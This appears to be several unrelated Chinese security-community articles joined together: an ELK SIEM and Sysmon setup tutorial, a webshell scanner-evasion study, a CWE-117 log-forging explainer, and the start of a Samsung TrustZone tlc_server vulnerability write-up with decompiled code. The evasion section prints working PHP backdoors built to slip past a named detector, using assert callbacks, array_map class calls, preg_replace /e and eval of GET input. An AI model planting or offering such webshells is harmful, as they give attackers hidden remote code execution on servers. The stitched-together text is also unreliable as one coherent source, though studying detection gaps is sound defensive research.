是一个Windows系统服务和设备驱动程序，一旦安装在系统上，在系统重启时仍然驻留。以监视和记录系统活动，记录到Windows事件日志中。它提供有关进程创建、网络连接和文件创建时间变更的详细信息。通过收集事件，它可以通过Windows
Event Collection或SIEM代理生成并随后对其进行分析，从而识别恶意或异常活动，并了解入侵者或恶意软件如何在网络上运行。
**MITRE ATT &CK**是一个全球可访问的基于真实世界观察的对抗战术和技术的知识库。
ATT&CK知识库被用做在私人部门、政府和网络安全产品和服务社区开发特定威胁模型和方法的基础。
* **Sysmon下载：**
<https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon>
* **下载包含MITRE ATT &CK的sysmon的xml配置：**
参考链接：<https://raw.githubusercontent.com/ion-storm/sysmon-config/master/sysmonconfig-export.xml>
* **使用配置文件安装Sysmon:**
`sysmon64 -accepteula -i sysmonconfig-export.xml`
* **检查当前配置：**
`sysmon64 –c`
#### 2.2.4 设置索引模板、仪表盘和索引格式
**A. 加载索引模板**
索引模板允许你定义模板，这些模板将在创建新索引的时候自动应用。模板包括设置和映射，以及一个简单的模式模板，用于控制模板是否应应用于新索引中。
加载索引模板需要连接到Elasticsearch。如果输出的不是Elasticsearch，则必须手动加载模板。在我们的例子中，winlogbeat不会直接连接到Elasticsearch，因此我们必须在启动服务之前手动设置索引模板。
需要暂时禁用Logstash输出，并启用Elasticsearch输出。
> <https://www.elastic.co/guide/en/beats/winlogbeat/current/winlogbeat-> template.html#load-template-manually>
**B. 加载仪表盘和索引格式**
> <https://www.elastic.co/guide/en/beats/winlogbeat/current/load-kibana-> dashboards.html>
#### 2.2.5 更改输出（output）
索引模板、索引模式和仪表盘加载正确后，可以在Kibana界面查看。
加载成功后如下图所示：
现在，在打开配置文件后，我们将通过注释来禁用Elasticsearch的输出，然后我们将通过删除注释来启用Logstash的输出。
#### 2.2.6 将数据传输到ELK stack
现在我们可以通过PowerShell或者使用services.msc(Windows服务)来启动winlogbeat和sysmon服务，并在Kibana界面查看数据。
当启动winlogbeat后，ELK Stack将使用Logstash中的配置来创建索引，从而实现数据的存储。
winlogbeat的默认dashboard(仪表盘)：
在Discover下，我们可以使用新配置（MITRE引用）检查sysmon日志：
其他的beats无论在配置还是安装上都与winlogbeat差别不大。我们使用的beats有：
* Winlogbeat
* Filebeat
* Packetbeat
* Metricbeat
我们要提到的是，某些beats，如metricbeat或filebeat有几个模块可以使用。
例如，我们使用filebeat中的system模块来监控ubuntu机器上的ssh认证、sudo命令，我们使用Suricata模块来收集Suricata
IDS的日志。
#### 2.2.7 启用Suricata模块
我们使用这个命令来启用filebeat中的Suricata模块：
`sudo filebeat modules enable Suricata`
要查看filebeat中可用的模块，可以查看如下目录：
`/etc/filebeat/modules.d/`
要查看正在使用的模块，使用如下命令：
`filebeat modules list`
在我们设备上安装Suricata的方法，参照如下链接：
<https://www.alibabacloud.com/blog/594941>
正常完成安装的话，你应该得到一个和这个比较相似的dashboard。如果你没有得到完全一样的页面也不用担心，我们会在接下来的文章中介绍如何处理dashboard。
也可以将Suricata接口集成到ELK stack中，可以参考下面的链接：
<https://www.howtoforge.com/tutorial/suricata-with-elk-and-web-front-ends-on-ubuntu-bionic-beaver-1804-lts/>
## 0x03 Open Distro(AWS开源的Elasticsearch发行版)演示
Open Distro可用的插件包括：
* Security(高级安全性)
* Alerting(事件监控和通知)
* SQL(SQL查询功能)
* Index State Management(索引状态管理)
* Performance Analyzer(性能分析)
在这个项目中，我们只安装Security和Alerting两个插件。
### 3.1 Alerting(事件监控和通知)功能
**Open Distro for Elasticsearch**
允许我们监控数据，并给相关人员自动发送告警信息。配置和管理起来是很简单的，并且它拥有强大的api去调用Kibana的接口。
Alerting功能允许我们配置规则，当数据中一些我们关注的内容发生更改时，可以收到通知。任何可以查询的东西，都可以配置Alerting。当一个或多个Elasticsearch索引的数据满足特定条件时，Alerting功能将会通知您。
下面的链接提供了 **Open Distro** 的历史版本（在我们本次案例中，使用的是1.6.0版本）：
<https://opendistro.github.io/for-elasticsearch-docs/version-history/>
要安装Open Distro的 Alerting功能，得先管理elasticsearch和kibana的插件：
插件管理位于：
* **/usr/share/elasticsearch** : Elasticsearch
* **/usr/share/kibana** : Kibana
#### 3.1.1 为Elasticsearch安装 **Alerting** 插件：
cd /usr/share/elasticsearch
sudo bin/elasticsearch-plugin install https://d3g5vo6xdbdb9a.cloudfront.net/downloads/elasticsearch-plugins/opendistro-sql/opendistro_sql-1.6.0.0.zip
#### 3.1.2 为Kibana安装相应的 **Alerting** 插件：
cd /usr/share/kibana
sudo bin/kibana-plugin install — allow-root https://d3g5vo6xdbdb9a.cloudfront.net/downloads/kibana-plugins/opendistro-alerting/opendistro-alerting-1.6.0.0.zip
#### 3.1.3 要列出或删除插件，所用命令如下：
> **Kibana:**
sudo bin/kibana-plugin list
sudo bin/kibana-plugin remove <plugin-name>
> **Elasticsearch:**
sudo bin/elasticsearch-plugin list
sudo bin/elasticsearch-plugin remove <plugin-name>
#### 3.1.4 现在应重启Kibana和Elasticsearch：
systemctl restart kibana elasticsearch
**注意：**
安装完成后，移除或更新Kibana/Elasticsearch的插件后，大约需要几分钟才能正常重启成功，而且Kibana服务器会一直响应（”kibana
is not ready yet“）。我们可以使用`top`命令实时查看kibana和elasticsearch进程。
#### 3.1.5 现在可以在kibana界面中查看插件：
#### 3.1.6 Alerting插件的使用：
##### 3.1.6.1 创建一个Slack的Webhook Url
**Slack** 是一个通讯工具——”一个用于传递消息、工具和文件的地方“。这意味着Slack是一个即时通讯系统，其中包含许多其他工作场景工具的附加功能。
Incoming Webhooks 是将消息从应用程序发布到 Slack 的一种简单方法。创建一个Incoming
Webhooks，会给你一个独特的URL，您可以向其发送包含消息文本和一些选项的JSON payload。您可以使用Incoming
Webhooks的所有常用[格式](https://api.slack.com/reference/surfaces/formatting)和[布局块](https://api.slack.com/messaging/composing/layouts)
来使消息更突出。
* **第一步先创建个账号（slack.com）：**
* **如果你是新用户，选择第二个选项（”you don’t belong to any workspace“）：**
* **在邮箱中获取刚刚收到的验证码并创建新的工作区（workspace）：**
* **试着按照步骤操作直到回到主页，进入应用程序搜索”Incoming Webhook“，点击添加：**
* **点击”add to Slack“：**
* **选择一个接收消息的频道（例如test），然后单击”add integration“：**
* **向下滚动直到看到你的Webhook URL（保存，我们后续会使用到）：**
* **然后到Kibana - > Alerting -> Destination(目标)，点击”add destination(添加目标)“：**
* **选择Destination(目标)名字，选择Slack，然后把Webhook Url粘贴过来，点击”create(创建)“：**
##### 3.1.6.2 创建Alerting并将其发送到Slack
* **点击进入Monitoring，点击创建Monitor：**
* **配置：可以使用图形化配置或extraction query配置：**
下面是图形化配置的一个举例（Event ID: 4624的意思是”某个账户登录成功“）:
* **检查Monitor Schedule(监控计划)，然后点击创建：**
现在你需要创建一个trigger(触发器)，例如：
然后转到通知，并选择创建的目标（destination），然后点击创建：
现在，就可以在Kibana的Alerting界面中关注告警，并且每个告警将会发送到你的Slack频道：
转到你的Slack频道（本教程中是`#test`频道），然后等待告警通知：
### 3.2 Security(高级安全性)功能
这个插件为管理用户、角色、映射、角色组和访客提供了一个界面。
#### 3.2.1 安装Security插件
之所以选择这个插件是因为Kibana在基础版本中未提供身份认证的面板。因此，为了确保接口的安全性，我们使用open distro提供的免费的身份认证面板。
Security插件的安装可以参照与安装Alerting插件相同的步骤（3.1.1-3.1.4）进行。只需要更改插件安装的url即可：
> **Kibana:**
sudo bin/kibana-plugin install — allow-root https://d3g5vo6xdbdb9a.cloudfront.net/downloads/kibana-plugins/opendistro-security/opendistro_security_kibana_plugin-1.6.0.0.zip
> **Elasticsearch** :
sudo bin/elasticsearch-plugin install https://d3g5vo6xdbdb9a.cloudfront.net/downloads/elasticsearch-plugins/opendistro-security/opendistro_security-1.6.0.0.zip
_安装过程可能有个警告信息：直接输入”y“_ ：
* 安装完成Security插件后，可以运行如下命令，使用默认证书快速开始（否则，你必须手动配置它并运行`securityadmin.sh`）：
cd /usr/share/elasticsearch/plugins/opendistro_security/tools/
# 修改权限
chmod +x install_demo_configuration.sh
# 运行
./install_demo_configuration.sh
安装过程中，所有的都直接输入”y“，默认用户名密码是（admin/admin）：
在`/etc/elasticsearch/elasticsearch.yml`配置文件中，Open Distro的Security插件会添加另外一个配置：
#### 3.2.2 更改elasticsearch、logstash和kibana配置
在本例中，我们为elasticsearch配置一个用户名密码和SSL证书（要提到的是，本部分和后面对于证书的验证不属于我们本次系列文章的范围）。
> **Elasticsearch：**
**禁用elasticsearch的x-pack安全功能：** 当你重启elastic的时候可能会得到一个报错，因为xpack安全功能在ELK
Stack基础版本中是默认启用的，所以在重启之前，必须在`/etc/elasticsearch/elasticsearch.yml`中禁用它。
> **Kibana** ：
**禁用Kibana的x-pack安全功能：**
同样，对于Kibana，我们必须禁用xpack安全功能，并忽略`/etc/kibana/kibana.yml`中的ssl验证。
**注意：确保协议是https，而不是http：**
> **Logstash：**
由于我们的beats没有直接连接到elasticsearch，而是连接到了Logstash。所以我们不必管理beats或重新配置他们，我们只需要配置logstash的配置文件。
**同样的，要确保协议是https，而不是http。**
sudo nano /etc/logstash/conf.d/logstash.conf
**注意：如果你正在重新配置beats或者设置另外一个beat的时候，你的elasticsearch已经安装了用户名，密码和SSL证书的security插件，你可以将此配置添加到你的beats中，使其可以访问。确保你的协议是https而不是http。**
#### 3.2.3 重启所有服务
systemctl restart elasticsearch
systemctl restart logtash
systemctl restart kibana
如上文所述，可能需要几分钟才能正确重启，可以使用`top`命令实时检查进程。同时，你的kibana服务会响应” **kibana is not ready
yet** “。
现在，你的ELK stack使用新的安全凭证，已经能正常连接了。
可以使用Elasticsearch URL来检查（http不起作用，必须使用https）：
<https://your_elasticsearch_ip:9200>
也可以在Kibana中进行检查：
在这里，你可以创建用户、分配角色和权限：
这将帮助你根据角色、操作和权限来管理和组织SOC团队。
下图是默认情况下定义的角色和内部用户数据：
## 0x04 实现仪表盘和ELK SIEM的可视化
本节内容将包含如下几个部分：
* **ELK SIEM演示**
* **默认的仪表盘**
* **创建你的第一个仪表盘**
### 4.1 ELK SIEM演示
ELK SIEM最近是在2019年6月25日的7.2版本中添加到了elk
Stack中。这是一个由elastic.co创建的SIEM解决方案，旨在让安全分析师的工作变得更加轻松。
在我们的解决方案中，我们决定创建我们自己的SIEM(安全信息和事件管理)并定制我们自己的仪表盘。但是，首先应该先了解了解ELK SIEM。
#### 4.1.1 主机事件部分
首先，我们将介绍主机部分。主机部分能够看到终端本身内部产生的事件。
点击查看主机后，应该会得到图中的类似信息（如上图所示）。很直观能看出，我们有三台主机连接到该机器：
1台Windows10和2台Ubuntu Server 18.04。
上图有几个可视化的图表，每一个显示的都是不同类型的事件。例如，中间的那个正在显示有关三台机器的登录数据。我们图中测试的数据量已经测试了5天，所以包含了很多成功和失败的登陆事件（你在自己实验的时候，可能日志量比较少，这个不用担心）。
#### 4.1.2 网络事件部分
转到网络部分，你应该能得到下图中类似的信息。这部分将使你能洞悉网络中发生的一切，从HTTP/TLS流量到DNS流量，以及其他外部的事件告警。
### 4.2 默认的仪表盘
为了便利，elastic.co的开发人员已为ELK正式支持的每个beat都创建了一个默认仪表板。在这里，以Packetbeat的默认仪表盘为例。
如果你按照0x02文章中的步骤正确操作了，应该有设置好的仪表盘了。那么现在开始吧：
在Kibana左侧tab上选择“dashboard”，从上往下数第三个。在搜索框中输入beat的名称。如果beat有多个模块，将会创建其中每一个单独的仪表盘。每个仪表盘数据显示非空与否取决是否有数据。选择一个带有模块名称的模块。下图是
**PacketBeat** 的仪表盘：
这是网络流量的仪表盘。它将通知我们有关传入和传出数据包的信息、IP来源和目的地、以及对安全运营中心分析人员有用的许多信息。
### 4.3 创建你的第一个仪表盘
#### 4.3.1 几个基本概念
**A-仪表盘类型：**
可以用来可视化数据的各种可视化类型。例如：
条形图、地图、Markdown小部件、饼状图
**B- KQL (Kibana Query Language):**
是一种友好的方式用户在kibana中搜索数据的语言。它可以用来搜索检查数据是否存在，以及许多其他有用的功能。要了解KQL的其他更多信息，可以查看如下链接：
<https://www.elastic.co/guide/zh-CN/kibana/current/kuery-query.html>
下图是使用Windows 10专业版系统搜索主机的查询示例：
**C- Filters(过滤器/筛选器)：**
通过此功能，可以筛选某些参数，例如主机名，事件的代码或ID等。Filters将在调查阶段的线索搜索上，极大的减少花费的时间和精力。
**D-Visulaization(可视化)：**
我们将为MITRE ATT&CK创建一个可视化。
点击： **Dashboard → Create new dashboard→create new →Pie dashboard**
，将类型设置为索引（index）模式，选择你的beat名字，然后回车。现在，应该能看到一个绿色的圈。
在左侧的Buckets可以看到：
* Split slices：根据数据差异，会把圈分割成不同部分；
* Split Chart：会在这个圈的旁边创建另外一个圈。
我们使用split slices。
我们将根据我们选择的term(值)来可视化我们的数据，在本案例中，term(值)将与MITRE ATT&CK有关。
在Winlogbeat中，将为我们提供这些信息的文件被称为：`winlog.event_data.RuleName`。
我们将按顺序设置计数指标，根据事件的出现次数来排序。
启用Group other values in the separate
bucket(就能显示剩余的值到一个单独的bucket里)。如果你选择的terms有很多来自beat的不同值，这将很容易实现。它可以帮助您将其他数据整体可视化，这将使您了解其余事件的百分比。
现在我们完成了data选项的配置，现在到options选项。
应该了解以下几点：
* 移除圆圈形状以在可视化中形成一个完整的圆形；
* 选择你喜欢的位置摆放。在本例中，我们在右侧显示；
* 设置“ show values”，以使值显示在图形旁边，以便于阅读，其余的保持为默认值。
可以Truncate (截断)选择你想从事件中显示多少数据：设置你希望展示的开始时间，然后点击蓝色区域。
你应该得到像下图这样的图形：
还可以在可视化中添加过滤器，以过滤你想检查的某些主机或你认为对您的目标有用的任何参数。可视化将只显示与过滤器内的规则相匹配的数据。在本例中，我们将只显示来自win10主机的MITRE
ATT&CK数据。
#### 4.3.2 创建第一个仪表盘
仪表盘是许多可视化的集合，你的仪表盘应该清晰易懂，并带有有用的确定性数据。这是我们从零开始为winlogbeat创建的仪表盘示例：
如果你需要了解kibana可视化更多的详细内容，建议查看官方文档：
<https://www.elastic.co/guide/zh/kibana/current/tutorial-visualizing.html>
**......未完待续** | 社区文章 |
## 0x00 前言
目前主流的webshell查杀工具分为静态和动态检查，针对能够执行命令和代码的危险函数都会进行检查。网上公开的绕过技术一般都是通过各种方式（变形）隐藏危险函数，本文主要通过大量的测试来分析某知名的webshell查杀工具的规则，通过自己的分析来尝试绕过这些规则。
## 0x01 查杀原理
通过扫描大量的样本，发现了查杀的方法主要包括：
1.正则匹配
2.样本库：并不仅仅是文件MD5检查，还可能使用类似simhash、ssdeep进行相似度比较。
3.变量追踪：追踪变量的赋值，查看变量是否是危险的函数或者可控。
## 0x02 已有规则分析
在本节简单介绍下针对已有规则的测试，由于篇幅有限，有很多测试没有列出来。
### 2.1危险函数
如下图，这里将assert的参数设置为一个字符串，可以看到，风险级别是3（使用eval时是0）。
将参数设置为一个变量时，变量内容不可回溯时，风险级别是4。
所以如果直接使用危险函数（特别是assert这类函数），那么被查杀的可能性是很大的。
### 2.2变量函数
如下图，函数名直接使用变量，那么风险级别是2，如果变量追踪为可控的，那么风险级别更高。
所以网上很多的方法，如果是使用变量隐藏敏感函数，那么很容易被查杀。
### 2.3函数
如下图，直接写一个函数，但是没有调用，风险级别仍然为4
函数内部是变量函数时，风险级别是2。
说明查杀引擎会进入函数内部进行检查（即使函数没被调用）。
### 2.4类
从上面两个图可以看出，查杀引擎并没有进入到类中的函数中，所以该处存在绕过的可能性。
### 2.5数组
如下图，使用字符串时的检测结果，由于$a可以被追踪为assert，所以风险值较高
如下图，使用一维数组时的检测结果，风险也是4
如下图，使用多维数组时的检测结果，与使用变量函数的结果相同。
所以从这里可以看到，查杀引擎对多维数组的检查是相对较弱的。
### 2.6相似度比较
下图是一个已知后门，风险值是5。
将REQUEST更改为GET，可以看到，风险值从5变成了1
同样，将参数替换成下图格式，风险值也是1。使用这种方式，主要是让其相似度变低，然后绕过相似度检查。
使用MD5进行相似度比较是最简单的一种方式，通过文本相似度或结构相似度也容易绕过，只能对已知后门进行检测。
## 0x03绕过
0x02中介绍了已经知道的规则，相对来说，使用多维数组、类等存在绕过的可能。在网上流传最多的一句话绕过方法应该是使用回调函数进行绕过，P牛的回调函数文章，大家可以多看看，这里说下我用的几个方法。
### 3.1未公开回调函数
如果回调函数未公开，或者不在规则库中，那么是最容易绕过的一种方法，例如
<?php
filter_input(INPUT_GET, 'a', FILTER_CALLBACK, array('options' => 'assert'));
?>
由于这类函数不在规则库中，所以查杀引擎也不会对其进行检查，可以直接绕过。当然还有多个未公开的或者不在规则库中的回调函数，大家可以多找找。
### 3.2已公开回调函数
针对已经在规则库中的回调函数，那么就需要考虑如何构造参数进行绕过，例如在0x02中介绍过使用类是绕过的一种方式。这里使用array_map来举例
如上图，是一个array_map的一句话，查杀结果是已知后门，那么我们先看下array_map的定义：
array_map ( [callable] $callback , array $array1 [, array $... ] ) : array
array_map的第一个参数是callable类型，并且官方给出了下面一个示例
<?php
array_map('Demo\A::hi', [])
?>
所以我们构造一个类，然后使用array_map进行调用，代码如下所示
<?php
class x {
function f($b,$a) {
$b($a);
}
}
$staticMethod = 'x::f';
array_map($staticMethod, array($_GET[b]),array($_GET[a]));
?>
从上图可以看到，查杀结果为0
### 3.3 类
查杀引擎不对类中的代码进行检查，所以我们直接构造一个类，然后在里面加上后门代码，如下所示，可以看到查杀结果也是0
### 3.4数组
查杀引擎对数组的检测能力较弱，所以这里使用数组来尝试绕过，但是不能直接使用$a[0]($b)这种形式，因为这种会直接爆出“变量函数”，所以我们仍然使用回调函数尝试，例如：
<?php
preg_replace(array("/.*/e"), $_REQUEST["a"], "");
?>
### 3.5变量追踪
查杀引擎是具备变量追踪的，所以我想构造以下代码，尝试绕过：
<?php
$b = 'echo "111"';
$b=……..#此处为不可回溯的代码，例如函数、数组等
eval($b);`
?>
因为$b的初始化值为echo字符串，如果中间$b的赋值是不可回溯的（或者很难回溯到值），那么查杀引擎认为$b的值就是echo字符串，所以应该可以绕过。
这里不能将eval换成assert，原因如下图所示
首先尝试将\$b从多维数组中获取，从下图可以看到，虽然\$b的值追踪不到，但是检测结果风险值是1，仍然不能完美绕过
再尝试将\$b从函数中获取，如下图，风险值仍然为0
最终经过多次尝试，得到以下代码
<?php
$b = 'echo "111"';
function c(){
return 'eval($GLOBALS["_GET"]["a"]);';
}
$b =c();
eval($b);
?>
## 0x04总结
本文的重点并不是对webshell进行各种变形，而是通过大量的测试检查查杀引擎的规则库，尝试进行绕过。掌握了这种方法，再结合php的语法特性，就可以很容易的写出绕过方法。
PS：本文仅做技术研究，不要用于非法用途。 | 社区文章 |
# 【缺陷周话】第50期：日志伪造
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、日志伪造
当日志条目包含未经过授权的用户输入时，会造成日志伪造。攻击者可以通过向应用程序提供包含特殊字符的内容，在日志文件中插入错误的条目。当日志文件自动处理时会将恶意条目写入日志文件，错误的日志条目会破坏文件格式，可以由此掩盖攻击者的入侵轨迹。或者通过回车符和换行符构造输入，将合法的日志条目进行拆分。本文以JAVA语言源代码为例，分析“日志伪造”缺陷产生的原因以及修复方法。该缺陷的详细介绍请参见CWE
ID 117: Improper Output Neutralization for Logs
(http://cwe.mitre.org/data/definitions/117.html)。
## 2、日志伪造的危害
利用该漏洞可以跨越信任边界获取敏感数据，攻击者将脚本注入日志文件，在使用 Web 浏览器查看文件时，浏览器可以向攻击者提供管理员 Cookie
的副本，从而获得管理员的访问权限。
## 3、示例代码
### 3.1 缺陷代码
上述代码是根据用户登录状态进行判断并记录日志。在代码行第29行调用父类的 doGet() 方法，第30、31行获取请求参数 username 和
password。在第32~36行判断用户名密码是否正确，并输出相应的日志信息。当用户名输入合法时会正确记录日志。
> 例如：INFO：User login succeeded for jack 或 INFO：User login failed for
> jack当用户提供的字符串为：jack%0a%0aINFO:+User+login+succeeded
> +for+tom在日志记录中会记录下列条目：INFO: User login failed for jackINFO: User login
> succeeded for tom
此时在日志文件中产生了两条日志记录。使用代码卫士对上述示例代码进行检测，可以检出“日志伪造”缺陷，显示等级为中，从跟踪路径中可以分析出数据的污染源以及数据流向。在代码行第34、36行报出缺陷，如图1、图2所示：
图1：日志伪造检测示例
图2：日志伪造检测示例
### 3.2 修复代码
在上述修复代码中，在第33行调用 org.apache.commons.lang 包下 StringEscapeUtils 类的静态方法
escapeJavaScript()，该方法使用 JavaScript 字符串规则进行字符转义。
使用代码卫士对修复后的代码进行检测，可以看到已不存在“日志伪造”缺陷。如图3所示：
图3：修复后检测结果
## 4、如何避免日志伪造
避免日志伪造可在程序输入和输出分别进行控制，假设所有输入都是恶意的，拒绝任何不严格符合规范的输入，严格校验字段相关属性，包括长度、输入类型、接受值的范围等，或将其转换为具有相应规格的输入。在日志输出时指定输出编码格式，若未指定编码格式，在输出时不同编码格式下的某些字符可能被视为特殊字符。 | 社区文章 |
# 以三星为例，如何对TrustZone进行逆向工程和漏洞利用（下篇）
|
##### 译文声明
本文是翻译文章，文章原作者 Daniel Komaromy，文章来源：medium.com
原文地址：<https://medium.com/taszksec/unbox-your-phone-part-iii-7436ffaff7c7>
译文仅供参考，具体内容表达以及含义原文为准。
> ## 传送门：上篇https://www.anquanke.com/post/id/96730
## 概要
本文主要讲解了如何对三星的TrustZone进行逆向工程和漏洞利用。在下篇中，我主要将介绍我发现的漏洞，具体漏洞如下：
SVE-2017-8888：身份验证绕过和tlc_server缓冲区溢出
SVE-2017-8889：ESECOMM Trustlet栈缓冲区溢出
SVE-2017-8890：ESECOMM Trustlet越界读取内存
SVE-2017-8891：ESECOMM Trustlet栈缓冲区溢出
SVE-2017-8892：ESECOMM Trustlet栈缓冲区溢出
SVE-2017-8893：ESECOMM Trustlet任意写入
大家可以在我的Git中，找到我提交给三星的全部PoC：<https://github.com/puppykitten/tbase> 。
## 目标选择
最一开始，我就将目光聚焦在Trustlet上。我要强调的是：如果能事先通过某种方式获得系统级权限，那么将会打开大量Trustlet层级的攻击面。但是，我希望能找到一种方式，能够在无特权的情况下实现攻击。因此，我开始尝试寻找一些可以利用的进程。
我采取了最简单的方法，grep系统二进制文件、库和暴露Binder接口的字符串，并借助它们实现我想要的功能。在理解了如何在安卓系统中暴露T-Base接口的共享库（在上篇文章中已经详细讲解）的情况下，我实现了进一步的攻击：
shell@herolte:/ $ service list | grep com.sec
shell@herolte:/system/lib64 $ strings -f * | grep mcNotify
shell@herolte:/system/bin$ strings -f * | grep onTransact
root@herolte:/proc# strings -f /proc/*/maps | grep libtlc
由此，我确定tlc_server是一个通过Binder实际暴露对若干Trustlet访问的进程，并且能够在默认安装中运行。
从tlc_server的主要代码中我们可以看到，共支持5个不同的Trustlet：
v3 = argc;
v4 = argv;
__android_log_print(4LL, "TLC_SERVER", "tlc_cerver main starts");
if ( v3 == 1 )
{
__android_log_print(4LL, "TLC_SERVER", "service name was not provided: defaulting to CCM");
strncpy(&service_name, aCCM, 31LL);
}
else
{
if ( v3 != 2 )
{
v6 = -1;
__android_log_print(6LL, "TLC_SERVER", "usage: tlc_server <CCM|DCM|ESECOMM|TUI|PUF>");
goto LABEL_15;
}
v5 = v4[1];
if ( (unsigned __int64)strnlen(v4[1], 32LL) > 0x1F )
{
v6 = -1;
__android_log_print(6LL, "TLC_SERVER", "too long g_service_name");
goto LABEL_15;
}
strncpy(&service_name, v5, 31LL);
__android_log_print(4LL, "TLC_SERVER", "Service Name = %s", &service_name);
if ( (unsigned int)strcmp("CCM", &service_name)
&& (unsigned int)strcmp("DCM", &service_name)
&& (unsigned int)strcmp("ESECOMM", &service_name)
&& (unsigned int)strcmp("TUI", &service_name)
&& (unsigned int)strcmp("PUF", &service_name) )
{
v6 = -1;
__android_log_print(6LL, "TLC_SERVER", "Only 'CCM', 'DCM', 'ESECOMM', 'TUI', and 'PUF' are supported");
goto LABEL_15;
}
}
v28 = 0LL;
v29 = 0LL;
v30 = 0LL;
v31 = 0LL;
v32 = 0LL;
v33 = 0LL;
v34 = 0LL;
v35 = 0LL;
if ( (unsigned int)strcmp(&service_name, "CCM") )
{
if ( (unsigned int)strcmp(&service_name, "DCM") )
{
if ( (unsigned int)strcmp(&service_name, "ESECOMM") )
{
if ( (unsigned int)strcmp(&service_name, "TUI") )
{
if ( (unsigned int)strcmp(&service_name, "PUF") )
{
LABEL_14:
v6 = -1;
__android_log_print(6LL, "TLC_SERVER", "fill_comm_data failed!");
goto LABEL_15;
}
strncpy(&v28, "libtlc_tz_puf_km.so", 31LL);
strncpy(&v32, "puf_get_comm_data", 31LL);
}
else
{
strncpy(&v28, "libtlc_tima_tui.so", 31LL);
strncpy(&v32, "tui_get_comm_data", 31LL);
}
}
else
{
strncpy(&v28, "libtlc_tz_esecomm.so", 31LL);
strncpy(&v32, "esecomm_get_comm_data", 31LL);
}
}
else
{
strncpy(&v28, "libtlc_tz_dcm.so", 31LL);
strncpy(&v32, "dcm_get_comm_data", 31LL);
}
}
else
{
strncpy(&v28, "libtlc_tz_ccm.so", 31LL);
strncpy(&v32, "ccm_get_comm_data", 31LL);
}
更重要的是，我发现两个tlc_server实例也在默认运行：一个是用于ESECOMM（与设备上的eSE硬件元件进行通信的Trustlet，用于安全支付交易），另一个是用于CCM（客户端证书管理）。
所以，接下来，我们就要观察Binder接口，找到一个不借助特权的利用方式。
注：我针对这些漏洞进行了独立研究，但后来发现Gal
Beniamini也发现了tlc_server的Binder接口中的漏洞，这些漏洞已经在2017年被修复。
## SVE-2017-8888：身份验证绕过和tlc_server缓冲区溢出
我在tlc_server中发现了两个漏洞。一个是内存破坏漏洞，恐怕非常难以借助此漏洞来实现远程代码执行。另一个是身份验证绕过，看上去似乎也非常不起眼。
针对这两个漏洞，我们必须要阅读Binder接口的函数。我们可以使用tlc_server的logcat输出，并跟踪字符串引用。
__int64 __fastcall binder_handler(android::IPCThreadState *IPCThreadState, unsigned int cmd_, const android::Parcel *data, android::Parcel *reply_, unsigned int flags_)
{
// (...)
switch ( cmd )
{
case 0u:
__android_log_print(4LL, "TLC_SERVER", "OPENSWCONN");
if ( !(unsigned __int8)android::Parcel::checkInterface(parcel_data, (char *)IPCThreadState_ + 16) )
goto LABEL_93;
if ( !reply )
goto LABEL_90;
if ( *((_DWORD *)IPCThreadState_ + 20) > 0 )
goto LABEL_35;
tlc_comm_cxt_ptr = (comm_cxt_t **)malloc(8LL);
if ( !tlc_comm_cxt_ptr )
{
__android_log_print(6LL, "TLC_SERVER", "tlc_server_ctx_t malloc failed");
goto LABEL_126;
}
*tlc_comm_cxt_ptr = 0LL;
comm_cxt = create_comm_ctx( // TLC_COMM_TYPE:
// 0 - proxy
// 1 - direct
//
// ==> we create direct
//
//
// direct_comm_cxt()
// - instantiate directCommImpl with these parameters
// - includes root (== device id, switched out to 0) and process (==uuid)
// - call tlc_open
// - mcOpenDevice(0) and mcOpenSession to uuid,
// after it mmaps the TLC buffer, to sendmsglen+recvmsglen length
TLC_COMMUNICATION_TYPE_DIRECT,
comm_data_root,
comm_data_root_strlen,
comm_data_process,
comm_data_process_strlen,
comm_data_max_sendmsg_size,
comm_data_max_recvmsg_size);
*tlc_comm_cxt_ptr = comm_cxt;
if ( !comm_cxt )
{
__android_log_print(6LL, "TLC_SERVER", "Failed to establish secure world communication");
free(tlc_comm_cxt_ptr);
goto LABEL_126;
}
if ( !(unsigned int)strcmp(&service_name, "ESECOMM") )
{
__android_log_print(4LL, "TLC_SERVER", "ESECOMM tlc_server connecting to SPI");
if ( (unsigned __int16)secEseSPI_open() )
{
__android_log_print(6LL, "TLC_SERVER", "*** secEseSPI_open failed : %d ***");
free(tlc_comm_cxt_ptr);
LABEL_126:
v52 = "Ctx creation failed - TZ app not loaded";
tlc_comm_ctx_ptr_global = 0LL;
goto OPEN_HANDLED;
}
}
tlc_comm_ctx_ptr_global = tlc_comm_cxt_ptr;
//(...)
case 1u:
__android_log_print(4LL, "TLC_SERVER", "CLOSESWCONN");
//(...)
case 2u:
__android_log_print(4LL, "TLC_SERVER", "COMM");
//(...)
android::defaultServiceManager(v73); // sp<IServiceManager> sm = defaultServiceManager()
//(...)
if ( sm )
{
v78 = *(int (__fastcall **)(__int64, int *))(*sm + 32LL);
android::String16::String16((android::String16 *)&recv_msg_len, "SEAMService");
v78(v77, &recv_msg_len); // defaultServiceManager->addService()
//(...)
isAuthorized_fnptr = *(__int64 (__fastcall **)(__int64, _QWORD, signed __int64, int *, _QWORD **))(*sm__ + 32LL);
android::String16::String16((android::String16 *)&recv_msg_len, "knox_ccm_policy");
android::String16::String16((android::String16 *)&send_msg_len, "C_SignInit");
v83 = isAuthorized_fnptr(sm__, mCallingPid, 0xFFFFFFFFLL, &recv_msg_len, &send_msg_len);
// sm->isAuthorized(mCallingPid, -1, service_name, &sm (?))
// can the calling pid call to the knox_ccm_policy service?
//(...)
if ( v83 )
{
v84 = "isAuthorized() returns an error!";
}
else
{
v74 = (*((__int64 (__fastcall **)(comm_cxt_t *))(*tlc_comm_ctx_ptr_global)->vtable_ptr + 8))(*tlc_comm_ctx_ptr_global);
// tlc_communicate()
//(...)
case 3u:
__android_log_print(4LL, "TLC_SERVER", "COMM_VIA_ASHMEM");
if ( !(android::Parcel::checkInterface(parcel_data, (char *)IPCThreadState_ + 16) & 1) )
{
v30 = -1;
goto LABEL_119;
}
if ( !v6 )
goto LABEL_72;
v43 = 0LL;
v44 = (_DWORD *)((char *)IPCThreadState_ + 92);
do
{
if ( *(v44 - 2) == v13 || *v44 == v13 )
goto LABEL_53;
v43 += 2LL;
v44 += 4;
}
while ( v43 < 1024 );
if ( (_DWORD)v43 == 1024 )
goto LABEL_70;
LABEL_53:
if ( (unsigned int)android::Parcel::readInt32(parcel_data, &msglen.recv_len) )
从反编译的代码中，我们可以发现以下内容：
